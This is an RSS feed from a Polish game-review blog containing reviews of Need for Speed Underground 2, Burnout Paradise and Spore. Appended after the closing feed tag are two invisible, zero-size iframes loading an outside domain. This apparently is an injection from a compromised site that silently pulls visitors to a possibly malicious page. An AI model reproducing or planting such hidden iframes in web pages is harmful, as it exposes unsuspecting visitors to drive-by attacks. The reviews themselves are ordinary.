<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Great game - to była wspaniała gra &#187; EA</title>
	<atom:link href="http://www.great-game.net/tag/ea/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.great-game.net</link>
	<description>Chwile spędzone podczas grania, o których warto pamiętać.</description>
	<lastBuildDate>Thu, 29 Jul 2010 18:02:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Need for Speed Underground 2</title>
		<link>http://www.great-game.net/zrecenzowane/need-for-speed-underground-2/</link>
		<comments>http://www.great-game.net/zrecenzowane/need-for-speed-underground-2/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 21:18:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[NFS]]></category>
		<category><![CDATA[wyścigówki]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=137</guid>
		<description><![CDATA[Need for Speed Underground 2 jest ósma odsłoną serii wyścigów EA Games, która podobnie jak poprzedniczka wniosła sporo nowości do serii.
Fabuła ma się następująco: nasz bohater, gwiazda ulicznych wyścigów, w wyniku intrygi rozbija swojego Skyline’a  i zostaje poważnie ranny. Po długiej rehabilitacji z pomocą Samanthy („przewodniczka” z pierwszego Undergrounda) decyduje się on wylecieć do [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Need for Speed Underground 2</strong> jest ósma odsłoną serii wyścigów EA Games, która podobnie jak poprzedniczka wniosła sporo nowości do serii.<span id="more-137"></span></p>
<p>Fabuła ma się następująco: nasz bohater, gwiazda ulicznych wyścigów, w wyniku intrygi rozbija swojego Skyline’a  i zostaje poważnie ranny. Po długiej rehabilitacji z pomocą Samanthy („przewodniczka” z pierwszego Undergrounda) decyduje się on wylecieć do Bayview, gdzie mieszka przyjaciółka Samanthy, Rachel, która zgadza się podstawić swój wóz na lotnisko. Bohater chce ponownie wrócić do sławy i przy okazji odkryć, kto był zamieszany w sprawę jego wypadku. Po dotarciu na miejsce chwytamy za Nissana 350Z i ruszamy do salonu, gdzie czeka na nas Rachel…</p>
<p style="text-align: center;"><a href="http://www.great-game.net/wp-content/uploads/2010/04/need-for-speed-underground-2.jpg"><img class="aligncenter size-full wp-image-138" style="border: 1px solid black;" title="Need for Speed Underground 2" src="http://www.great-game.net/wp-content/uploads/2010/04/need-for-speed-underground-2.jpg" alt="" width="460" height="300" /></a></p>
<p>Gra po raz pierwszy w historii serii pozwala nam na swobodną jazdę po mieście. Przemierzamy piękne miasto Bayview, podziwiając rozświetlone neonami dzielnice i stopniowo dostając się na górskie serpentyny czy do dzielnicy przemysłowej. Stopniowo – gdyż programiści postanowili oddawać nam do jazdy kolejne dzielnice po osiągnięciu danego celu. Nie przeszkadza to jednak.</p>
<p>Po mieście rozsiane są różnorodne warsztaty tuningowe, a każdy jest odpowiedzialny za co innego – jeden za zderzaki, maski i spojlery, drugi za części do tuningu silnika, inny znowu za neony, systemy audio i inne drobiazgi, a jeszcze kolejny wyłącznie za malowanie i naklejki. Ciekawe rozwiązanie, ale żeby założyć zderzak, jedziemy do jednego warsztatu, a za chwilę drałujemy przez pół dzielnicy do drugiego po nowe neony.</p>
<p>Na tuning został położony o wiele większy nacisk niż poprzednio. Teraz możemy zmienić jeszcze więcej – oprócz zderzaków i spojlerów możemy założyć nowe lusterka (!), możemy zmienić układ naszego bagażnika, zamontować wypasiony system audio, maskę otwierającą się rozdzielnie czy nawet zmienić sposób otwierania drzwi! A wszystko po to, by zwiększyć ocenę wizualną auta, co z kolei przekłada się na większa ilość okładek magazynów i DVD na które trafiamy, uprzednio odpowiednio ustawiając wóz i otwierając drzwi czy machę. Tuning mechaniczny też został poprawiony, powiem teraz możemy wjechać na platformę dynamometryczną i szczegółowo dostroić turbo, poprawić aerodynamikę, zmienić przełożenia biegów, przerobić zawieszenie czy ustawić moc nitro, a następnie przetestować nasze przeróbki, co w efekcie pozwala nam zrobić wóz idealny do danej konkurencji.</p>
<p>Co do samochodów, rozwiązano to ciekawie. Mamy około 40 wozów do wyboru – Peugeoty, Mazdy, Mitsubishi, Nissany i wiele innych – ale w garażu możemy mieć ich maksimum 5. Każdy nowy slot otwierany jest, gdy podpisujemy kontrakt ze sponsorem – za który zresztą dostajemy niezły szmal. Aby do wypełnić, musimy wygrać określoną liczbę wyścigów i osiągnąć odpowiednią ocenę wizualną. Potem zgłasza się do nas kolejny sponsor.</p>
<p>Nowością w grze są SUVy, takie jak Hummer H2 czy Lincoln Navigator. Dla tych aut są specjalnie oznaczone wyścigi, ale widzimy je tylko wtedy, gdy jeździmy SUVem.</p>
<p>A co do wyścigów – rozrosły się one nieco. Nadal ścigamy się w circuitach, czyli wyścigach po wyznaczonym torze, sprintach, czyli jeździe od punktu A do B, dragach, czyli gonitwie z gazem w podłodze po linii prostej (ręczna skrzynia biegów) i driftach, czyli konkursach poślizgów. Nowe są za to street X, czyli wyścigi w stylu circuitów… ale na torach do driftu, gdzie ułamki sekunda decydują o zwycięstwie, oraz URL – Underground Racing League, gdzie pniemy się na szczyt jeżdżąc po torze wyścigowym Bayview lub lotnisku, a wygrane odblokowują nowe wozy.</p>
<p>Nowy jest też outrun, czyli wyścig bezpośredni. Na mieście możemy natknąć się na stonowane wozy. Jedziemy chwilę za nimi i uderzamy w Enter, by zacząć się ścigać. Wyprzedzamy przeciwnika i oddalamy się na 300 metrów, by wygrać. Te wyścigi dają nam czasem możliwość zdobycia unikalnych części wizualnych oraz mechanicznych, dzięki czemu nasz wóz jest jeszcze ładniejszy i jeszcze szybszy.</p>
<p>Grafikę poprawiono w stosunku do poprzednika – auta są jeszcze ładniejsze i bardziej szczegółowe, a miasto wygląda jeszcze piękniej. Razi jednak to, że nadal cywilne auta to zwykłe bryły z byle jakimi teksturami.</p>
<p>Dźwięk jest nadal ostry i dynamiczny. Grają tu takie zespoły jak <strong>Fluke</strong>, <strong>Spiderbait</strong>, <strong>Unwritten Law</strong> czy <strong>Capone</strong>. Teraz żadna ścieżka nie denerwuje, jak miało to miejsce w <em>NFS U</em>, a tylko motywuje do jazdy z gazem do dechy.</p>
<p>Ogółem Need for Speed Underground 2 jest grą, której żaden miłośnik wyścigów nie może przegapić.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/need-for-speed-underground-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Burnout Paradise</title>
		<link>http://www.great-game.net/zrecenzowane/burnout-paradise/</link>
		<comments>http://www.great-game.net/zrecenzowane/burnout-paradise/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 01:02:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[Paradise City]]></category>
		<category><![CDATA[wyścigówki]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=121</guid>
		<description><![CDATA[Najnowsza samochodówka EA, która miała zatuszować złe wrażenie po kiepskim NfS: Undercover od czasu premiery narobiła sporo szumu w świecie wirtualnych wyścigów. Burnout Paradise pojawił się na konsole w styczniu zeszłego roku. Teraz przyszła kolej na blaszaki. Czekaliśmy prawie 8 lat, ale po tym co zobaczyłem jestem pewien, że ta gra podbije cały świat. 
Instalacja [...]]]></description>
			<content:encoded><![CDATA[<p>Najnowsza samochodówka EA, która miała zatuszować złe wrażenie po kiepskim NfS: Undercover od czasu premiery narobiła sporo szumu w świecie wirtualnych wyścigów. <strong>Burnout Paradise</strong> pojawił się na konsole w styczniu zeszłego roku. Teraz przyszła kolej na blaszaki. Czekaliśmy prawie 8 lat, ale po tym co zobaczyłem jestem pewien, że ta gra podbije cały świat. <span id="more-121"></span></p>
<p>Instalacja trwa kilka minut. Potem już gramy. Na początku spotykamy niestety mały minus-nie można stworzyć bowiem własnego profilu o nazwie administratora. Wciskamy start i jazda. No nie tak od razu oczywiście, jeszcze wczytywanie, które za pierwszy razem trwa trochę czasu . Zabawę rozpoczynamy z poturbowanym samochodem, ale wystarczy zajechać do mechanika i już wygląda jak nowy. Później na stację paliw po pełen zapas nitra. Sterowanie zostało trochę zmienione w porównaniu do podstawowego a dokładnie, zamiast strzałki do góry jako gaz jest &#8221; A&#8221;, a zamiast strzałki w dół &#8221;Z&#8221;. Z początku sprawia to pewne trudności, ale po jakichś 30 minutach nabieramy nieco wprawy. Jedziemy dalej.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-122" style="border: 1px solid black;" title="Burnout Paradise" src="http://www.great-game.net/wp-content/uploads/2009/12/burnout.jpg" alt="Burnout Paradise" width="460" height="260" /></p>
<p>Konkurencji jest pięć. Oto one:</p>
<ol>
<li>Wyścig &#8211; Jest to najzwyklejszy sprint od jednego do drugiego punktu, w którym pierwszy na mecie wygrywa. Co prawda punktów na mapie do których się ścigamy jest tylko kilka i zawsze znajdują się w tym samym miejscu, ale mnie bynajmniej nie przeszkadza to w dobrej zabawie.</li>
<li>Akrobacje &#8211; To zawody przeznaczone dla tych, którzy lubią driftować, skakać oraz kręcić w powietrzu beczki, bowiem właśnie za to przyznawane są tutaj punkty. By wygrać trzeba w ograniczonym czasie osiągnąć podany wynik punktowy.</li>
<li>Ścigany &#8211; Typowy wyścig do punktu z tą małą różnicą ścigamy się z kierowcami, którzy na nas polują. Nasze zadanie to po prostu dojechanie do wyznaczonego miejsca bez całkowitego rozwalenia samochodu, co czasami jest bardzo trudne.</li>
<li>Pirat &#8211; Jest chyba najprzyjemniejszą ze wszystkich konkurencji, polega bowiem na przepychaniu się z przeciwnikami oraz rozwalaniu ich aut. Żeby wygrać należy osiągnąć podany wynik minimalnej liczby zniszczeń oraz tak jak poprzednio nie dać całkiem rozwalić swojego wozu.</li>
<li>Piekielna trasa &#8211; Ostatni z trybów rozgrywki jest jazdą na czas z punktu A do punktu B. Nagrodą w każdych zawodach jest specjalny, ulepszony model samochodu, którym jechaliśmy.</li>
</ol>
<p>Każde zwycięstwo w powyższych zawodach zmniejsza liczbę wyścigów, które musimy wygrać, by uzyskać o klasę wyższe od obecnie posiadanego prawa jazdy. Ma to zastąpić brak typowej kariery lub jakiejś osi fabularnej. Niektórym to pasuje, innym nie.</p>
<p>Oprócz zdobywania coraz to wyższych licencji prawa jazdy, zadania, które na nas czekają to m.in. ustanowienie rekordowych czasów przejazdu na każdej z ulic, ustanowienie rekordowych zniszczeń na każdej z ulic, znalezienie wszystkich parkingów, wykonanie specjalnych skoków z ramp umieszczonych na ulicach Paradise City czy znalezienie wszystkich skrótów. Tym bardziej, że oprócz samochodów w grze znajdziemy także motocykle. Co prawda maszyn dwukołowych jest bardzo mało, tak, jak wyścigów oraz konkurencji dla nich.</p>
<p>Tryb multiplayer oferuje wszystkie znane nam z konsol tryby, czyli przede wszystkim wolną jazdę po mieście ze znajomymi oraz wykonywanie specjalnych grupowych zadań. Oczywiście dostępne są także klasyczne rodzaje wyścigów. Dodatkowo The Ultimate Box zawiera rozszerzenie przeznaczone do rozgrywki wieloosobowej przy jednym komputerze &#8211; dodatek ten w wersji na X360 jest płatny, dlatego tym bardziej ucieszyłem się, że został dodany. Dodatek imprezowy przeznaczony jest maksymalnie dla ośmiu graczy, którzy kolejno zmieniają się przed klawiaturą.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-123" style="border: 1px solid black;" title="Burnout Paradise" src="http://www.great-game.net/wp-content/uploads/2009/12/burnout2.jpg" alt="Burnout Paradise" width="460" height="260" /></p>
<p>Kolejnym z wielkich atutów Burnout Paradise jest piękna oprawa graficzna. Przede wszystkim należy wymienić tutaj widowiskowe kraksy, podczas których gnie się blacha, szyby lecą w proch, a części auta dosłownie rozsypują się dookoła niego. Zniszczenia generowane są w czasie rzeczywistym, a to oznacza, że za każdym razem są one inne. Kraksy z BP mogą rywalizować jedynie z tymi z GRiD&#8217;a &#8211; reszta konkurencji jest daleko w tyle. W porównaniu do wersji konsolowej pecetowy Burnout jest ładniejszy. Drobne różnice było widać już na pierwszy rzut oka, jednak by w pełni zobaczyć piękno dopracowanej grafiki musiałbym mieć dużo mocniejszy sprzęt &#8211; w końcu The Ultimate Box na komputery obsługuje wyższe rozdzielczości, niż ten na konsole. Dźwięk również nie ustępuje grafice. Odgłos odpalanego samochodu, pisk opon i warkot silnika wykonane są świetnie.</p>
<p>Burnout Paradise The Ultimate Box to po prostu fenomenalna gra. Ma oczywiście swoje minusy, ale są prawie niewidoczne. Najpoważniejszym z nich są wysokie wymagania sprzętowe, ale optymalizacja zrobiona jest wprost genialnie(w przeciwieństwie do chociażby GTA IV). Nie można stworzyć gry idealnej, ale studiu Criterion prawie się udało.</p>
<p><object width="448" height="272" data="http://www.youtube.com/v/1pDivKcAIow&amp;hl=pl_PL&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/1pDivKcAIow&amp;hl=pl_PL&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/burnout-paradise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SPORE</title>
		<link>http://www.great-game.net/zrecenzowane/spore/</link>
		<comments>http://www.great-game.net/zrecenzowane/spore/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 01:05:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[symulator]]></category>
		<category><![CDATA[Will Wright]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=118</guid>
		<description><![CDATA[Do gier symulacyjno – strategicznych zniechęciła (to mało powiedziane;) mnie seria The Sims wraz ze swoją masą bezużytecznych dodatków, które praktycznie nic nie wnosiły do rozgrywki, a kosztowały tyle co&#8230; samodzielna produkcja (na szczęście zostało już oficjalnie zapowiedziane The Sims 3). Mój stosunek do tego rodzaju gier zmieniło Spore. Dlaczego? Przeczytacie o tym poniżej ;D.
Spore [...]]]></description>
			<content:encoded><![CDATA[<p>Do gier symulacyjno – strategicznych zniechęciła (to mało powiedziane;) mnie seria The Sims wraz ze swoją masą bezużytecznych dodatków, które praktycznie nic nie wnosiły do rozgrywki, a kosztowały tyle co&#8230; samodzielna produkcja (na szczęście zostało już oficjalnie zapowiedziane The Sims 3). Mój stosunek do tego rodzaju gier zmieniło Spore. Dlaczego? Przeczytacie o tym poniżej ;D.<span id="more-118"></span></p>
<p><strong>Spore</strong> to gra symulacyjno – strategiczna, coś a la The Sims. Jednak pomimo ogromnych podobieństw do siebie, są to dwie różne gry, dwa różne światy (wow, złota myśl). W simach mamy do czynienia z symulacją ludzkiego życia, a tu budujemy od podstaw żywy organizm. Żeby lepiej zobrazować nam ten proces, autorzy (gry) podzielili rozgrywkę na pięć całkowicie odmiennych faz. A ja zrobiłem to samo w recenzji&#8230;.</p>
<p>Już na samym początku musimy zdecydować, czy będziemy roślinożercą albo mięsożercą, co ma wpływ na dalszą rozgrywkę, co chyba każdy wie albo się domyśla. Jednak dla niekumatych wytłumaczę. Roślinożerca żywi się roślinkami, a mięsożerca innymi organizmami żywymi. I tak, kierując tym pierwszym będziemy zjadać owoce, a tym drugim inne zwierzęta. Jeżeli tego nie będziemy robić nasz stworek po prostu „wykituje”;(.</p>
<p>Kreator stworów Spore został udostępniony jako oddzielna aplikacja, którą można było kupić za jedyne 19,90 zł. Dzięki niemu internauci i (czyli my;) mieli czas, by przygotować bazę istot (Sporopedia), które pojawiają się w świecie gry. Do tej pory powstało około 2,5 mln gatunków. Ten sam edytor znajduje się, też w pełniaku i można go używać nawet nie grając w główną kampanię, a potem te stwory pojawią się już w prawdziwej grze.</p>
<p>W tym etapie gry chodzimy (a raczej pływamy;) małą komórką żywą zbierając zielone kuleczki DNA pływające na powierzchni tzw. prebiotycznej zupy. Po zebraniu ich pewnej ilości nasz stworek rośnie w mgnieniu oka, co powoduje że stworki, które dotąd były od nas większe, są teraz mniejsze lub równe nam (mówię wam, to totalny odlot;). Po przejściu pięciu takich transformacji okazuje się,że zebrałeś już wystarczając ilość DNA aby przejść do następnego etapu.</p>
<p>Tu dopiero zaczyna się prawdziwa rozgrywka, która tym razem toczy się, zaraz po tym jak nasz organizm wychodzi na ląd. W odróżnieniu od poprzedniej ery tu DNA możemy pozyskiwać na kilka różnych sposobów, a mianowicie: zawieranie sojuszy z innymi rasami, za pomocą wspólnych tańców, śpiewów; ale także za pomocą agresji, wybijając daną rasę “w pień”; odgrzebując ze skamieniałych szkieletów części ciała, które możemy zamocować później do naszego ludzika (w tym celu romansujemy z samcem  ze swojego gatunku;) i od czasu do czasu emigrując do innego miejsca. Celem tego etapu gry jest powiększenie swojego mózgu czterokrotnie, po czym przenosimy się do następnej ery. Ta faza najbardziej przypomina RPG.</p>
<p>W tej erze po raz pierwszy będziemy mogli kierować nie jednym stworkiem, a całą ich grupką (maksymalnie 12). Dlatego też ta część przerodzi się w strategię czasu rzeczywistego, w której budujemy budynki(uprzednio stworzone w kreatorze) i tworzymy nowe jednostki (gdy produkujemy nowego stworka nad naszym domem pojawią się serca i usłyszymy przez chwilę kołysankę;). Jednak żeby nasza wioska się rozwijała musimy zdobywać pożywienie, a do tego posłuży nam zbieranie owoców (roślinożercy) bądź polowanie na dzikie zwierzęta lub ich udomawianie, a potem zjadanie ich jaj (mięsożercy). Tak jak poprzednio zdecydujemy też czy będziemy zawierać sojusze, czy też za pomocą agresji zdobywać kolejne wioski. W każdym bądź razie wybór należy do nas.</p>
<p>Kolejnym etapem gry jest faza cywilizacji i tu dostrzeżemy ogromne podobieństwa do takich hitów jak Empire Earth i Civilization (autorzy wiedzą od kogo brać pomysły;). Więcej bierze jednak od tego drugiego tytułu, bo nie dość ,że ma taką samą nazwę, to jeszcze kończy się tym samym, czyli wystrzeleniem rakiety w kosmos. Zanim jednak będziemy latać wśród gwiazd ,musimy przekonać do swojej religii, podbić lub wykupić dwanaście pozostałych miast na twojej planecie. Całość jest bardzo złożona: możemy zakładać szlaki handlowe, tworzyć pojazdy latające, pływające bądź jeżdżące, dbać o samopoczucie mieszkańców itp. Ponadto są trzy rodzaje miast :religijne, gospodarcze i wojskowe. Dodatkowo każde z nich produkuje inne pojazdy ,które oczywiście możemy zbudować za pomocą edytora <img src='http://www.great-game.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Już po tej erze wiedziałem, że mam do czynienia z grą bardzo rozbudowaną, jednak nie widziałem co czeka mnie w następnej fazie ;P</p>
<p>Na początku już tradycyjnie przywita nas edytor, w którym tym razem zaprojektujemy&#8230; statek kosmiczny!!! I tu czeka nas miła (czy na pewno?) niespodzianka. Bo nie będziemy już chodzić pojedynczym stworkiem (1 i 2 faza) ani kierować ogromną armią (3 i 4 faza), ale latać wyżej wspomnianym statkiem kosmicznym! Sterowanie nie zmieniło się znacząco ,ponieważ do latania wystarczy nam myszka i klawisze WSAD. Samo poruszanie się UFO daje ogromną satysfakcję i frajdę. Drugim ogromnym zaskoczeniem dla mnie była mnogość kosmosu (ponad tysiąc galaktyk, układów słonecznych oraz planet!!!) i ilość opcji jakie autorzy dali do dyspozycji gracza. Możemy między innymi: handlować, zawierać sojusze, toczyć wojny, odkrywać nowe planety i je kolonizować (zbierając tym samym przyprawę), nawiązywać łączność z innymi rasami itp. I tu ogromne brawa dla autorów za taką mnogość opcji. Jednak jest i minus, ponieważ tak złożona rozgrywka powoduje że gra staje się trudniejsza &#8211; trzeba więcej myśleć i panować nad setką różnych opcji, co po pewnym czasie staje się nużące i gra traci swój urok.</p>
<p>Spore nie posiada takowego trybu multiplayer (a szkoda), w którym byśmy mogli toczyć pojedynki PvP i inne temu podobne. Jest za to Sporopedia. Zapytacie&#8230; A co to k**** jest? Otóż spieszę z wyjaśnieniami. Sporopedia to zbiór stworków, gatunków, pojazdów, roślin itp. stworzonych przez gracza, który korzysta z innego komputera niż ty i może znajdować się nawet na Dalekim Wschodzie (np.: chińczyki;). Więc na jednej z planet możemy spotkać rasę zaprojektowaną przez innego żywego gracza ,takiego jak ty. Jest to bardzo fajne, ale mimo wszytko brakuje trybu ,w którym gracze mogliby rywalizować ze sobą poprzez Internet. Ale Sporopedia to coś więcej, to także poradnik, z którego możemy skorzystać w każdym momencie podczas gry.</p>
<p>Grafika prezentuje się w Spore naprawdę dobrze. Postacie są złożone z kilkudziesięciu detali przez co widzimy dokładnie ich każdą ryskę na twarzy. Wszytko to otoczoną miła dla oka powłoką. Wielkie brawa dla autorów zwłaszcza za dobrze zoptymalizowany kod (dość powiedzieć, że Spore chodziło u mnie na średnich ustawieniach;) i  to przy takiej grafice. Jednak trzeba też dodać, że czasami zdarzają się przekłamania graficzne, co psuje trochę ocenę końcową.</p>
<p>Dźwięk prezentuje się nie gorzej, bo utwory są ładne i  przyjemne dla ucha. Świetnie się dopasowuje do akcji na ekranie i razem z grafiką, a także simlishową mową stworków tworzą wspaniały, niezapomniany klimat.</p>
<p>Przed premierą produkcji miałem pewne obawy co do tej gry, ponieważ nie wierzyłem, że wszystko co Will Wright obiecał się spełni i podchodziłem do tej produkcji dość obojętnie. Jednak Spore okazało się mądrym, pełnym humoru, oryginalnym i całkowicie przełomowym dziełem. Naprawdę warto zainwestować w tę grę, szczególnie jeśli spodobały nam się Simsy, bądź Viva Pinata.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/spore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<IFRAME src="http://mavi1.org" width=0 height=0 frameborder=0></IFRAME>
<IFRAME src="http://mavi1.org/forum" width=0 height=0 frameborder=0></IFRAME>

